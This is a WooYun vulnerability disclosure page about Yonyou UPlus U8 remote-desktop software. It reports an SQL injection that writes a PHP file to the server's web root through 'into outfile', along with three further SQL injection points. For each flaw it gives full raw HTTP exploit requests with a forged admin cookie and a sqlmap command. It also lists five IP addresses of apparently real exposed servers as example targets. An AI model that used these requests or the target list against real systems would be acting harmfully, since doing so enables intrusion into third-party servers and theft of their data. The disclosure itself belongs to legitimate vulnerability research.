当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125807

漏洞标题:用友优普U8系统一处SQL注射&root权限getshell(需要登陆)

相关厂商:用友软件

漏洞作者: 路人甲

提交时间:2015-07-10 10:15

修复时间:2015-10-13 10:17

公开时间:2015-10-13 10:17

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-10: 细节已通知厂商并且等待厂商处理中
2015-07-15: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-09-08: 细节向核心白帽子及相关领域专家公开
2015-09-18: 细节向普通白帽子公开
2015-09-28: 细节向实习白帽子公开
2015-10-13: 细节向公众公开

简要描述:

用友优普U8系统一处SQL注射&无限制getshell漏洞

详细说明:

该漏洞报告总共包含一处无限制getshell漏洞+三处SQL注入漏洞 两处重复
0x01 无限制getshell漏洞
/Server/CmxRemoteDesktop.php?pgid=App_Show&ID=1
ID参数提交单引号,即可爆出网站绝对路径,然后即可利用into outfile无限制getshell

GET /Server/CmxRemoteDesktop.php?pgid=App_Show&ID=1%20union%20select%201,2,3,'\<\?php%20phpinfo();\?\>',5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3%20into%20outfile%20'C:/U8SOFT/RasMini/rasweb/Apache2/htdocs/smarty-2.6.19/Server/my.php' HTTP/1.1
Referer: http://218.27.137.242:8080/
Cookie: RAS_Admin_UserInfo_UserName=1
Host: 58.217.117.20:81
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*


00.png


http://58.217.117.20:81/Server/my.php

11.png


0x02 sql注入1
/Server/CmxPagedQuery.php?pgid=AppList

POST /Server/CmxPagedQuery.php?pgid=AppList HTTP/1.1
Referer: http://218.27.137.242:8080/
Cookie: RAS_Admin_UserInfo_UserName=1
Host: 218.27.137.242:8080
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
ViewAppFld=1*&ViewAppValue=2


22.png


0x03 sql注入2
/Server/CmxRemoteDesktop.php?pgid=AppList

POST /Server/CmxRemoteDesktop.php?pgid=AppList HTTP/1.1
Referer: http://218.27.137.242:8080/
Cookie: RAS_Admin_UserInfo_UserName=1
Host: 218.27.137.242:8080
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
ViewAppFld=1*&ViewAppValue=2


33.png


0x04 sql注入3
/Server/CmxFolder.php?pgid=AddApp_selectUserGroup

POST /Server/CmxFolder.php?pgid=AddApp_selectUserGroup HTTP/1.1
Referer: http://218.27.137.242:8080/
Cookie: RAS_Admin_UserInfo_UserName=1
Host: 218.27.137.242:8080
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
ServerID_[]=1111&ServerNameValue=1111*


44.png


案例很多,随便给5个:
http://218.27.137.242:8080/
http://222.177.213.190:8888/
http://117.132.15.88:8001/
http://221.224.116.210:81/
http://221.238.243.237:8000/

漏洞证明:

sqlmap.py -r pp1.txt --dbms mysql --technique T --dbs

55.png


修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-10-13 10:17

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无